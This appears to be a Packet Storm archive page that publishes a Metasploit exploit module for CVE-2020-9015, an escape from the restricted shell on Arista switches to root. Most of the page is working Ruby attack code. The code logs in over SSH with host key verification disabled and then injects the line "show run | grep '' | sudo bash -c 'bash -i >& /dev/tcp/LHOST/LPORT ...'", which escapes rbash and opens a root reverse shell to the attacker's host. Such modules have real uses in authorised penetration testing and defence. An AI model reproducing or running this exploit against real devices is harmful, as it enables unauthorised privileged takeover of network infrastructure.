exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Arista Restricted Shell Escape / Privilege Escalation

Arista Restricted Shell Escape / Privilege Escalation
Posted Jun 16, 2020
Authored by Chris Anders | Site metasploit.com

This Metasploit module takes advantage of a poorly configured TACACS+ config, Arista's bash shell, and a TACACS+ read-only account to achieve privilege escalation.

tags | exploit, shell, bash
advisories | CVE-2020-9015
SHA-256 | 86fccaf72b7727767295df0286ab1d606f02b1e49f7979bfafc39f16ae633df4

Arista Restricted Shell Escape / Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Arista restricted shell escape (with privesc)',
'Description' => %q{
This exploit module takes advantage of a poorly configured TACACS+ config,
Arista's bash shell and TACACS+ read-only account to privilage escalate.
A CVSS v3 base score of 9.8 has been assigned.
},
'License' => MSF_LICENSE,
'Author' => ['Chris Anders'],
'References' =>
[
[ 'CVE', '2020-9015'],
[ 'URL', 'http://www.securitybytes.me/posts/cve-2020-9015/'],
[ 'URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9015' ],
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9015' ],
],
'Arch' => ARCH_X86,
'ConnectionType' => 'find',
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'Payload' => 'linux/x86/shell_reverse_tcp'
},
'DisclosureDate' => 'Feb 02 2020',
'Platform' => 'linux',
'PayloadType' => 'cmd_interact',
'Privileged' => true,
'Targets' => [ [ 'Universal', {} ] ]
)
)

register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'Username to login with', '']),
OptString.new('PASSWORD', [true, 'Password to login with', '']),
]
)

register_advanced_options(
[
Opt::Proxies,
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]),
OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])
]
)
end

def check
factory = ssh_socket_factory
opts = {
auth_methods: ['password', 'keyboard-interactive'],
port: rport,
use_agent: false,
config: false,
password: password,
proxy: factory,
non_interactive: true,
verify_host_key: :never
}

begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(rhost, username, opts)
end
rescue Rex::ConnectionError
return CheckCode::Safe
rescue Net::SSH::Disconnect, ::EOFError
return CheckCode::Safe
rescue Timeout::Error
return CheckCode::Safe
rescue Net::SSH::AuthenticationFailed
return CheckCode::Safe
rescue Net::SSH::Exception
return CheckCode::Safe
end

CheckCode::Detected

end

def rhost
datastore['RHOST']
end

def rport
datastore['RPORT']
end

def lport
datastore['LPORT']
end

def lhost
datastore['LHOST']
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def exploit
factory = ssh_socket_factory

opts = {
auth_methods: ['password', 'keyboard-interactive'],
port: rport,
use_agent: false,
config: false,
password: password,
proxy: factory,
non_interactive: true,
verify_host_key: :never
}

opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

print_status("#{rhost}:#{rport} - Attempt to login to the Arista's restricted shell...")

begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, username, opts)
end
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
rescue Net::SSH::Disconnect, ::EOFError
fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
rescue ::Timeout::Error
fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
rescue Net::SSH::AuthenticationFailed
fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
end

fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
begin
payload_executed = false
print_good('SSH connection established.')

ssh.open_channel do |channel, _data|
print_status('Requesting pty rbash')

channel.request_pty do |ch, success|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not request a PTY!") unless success
print_good('PTY successfully obtained.')

print_status('Requesting a shell.')
ch.send_channel_request('shell') do |cha, _succ|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not open rbash shell!") unless success
print_good('Spawned into arista rbash shell.')

cha.on_data do |_xx, data2|
if data2.include? '#'
if !payload_executed
print_status('Attempting to break out of Arista rbash...')
channel.send_data("show run | grep '' | sudo bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1 2>&1 &'\n")
payload_executed = true
print_good('Escaped from rbash!')
end
end
end
end
end
end
ssh.loop unless session_created?
rescue Errno::EBADF => e
elog(e.message)
end
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close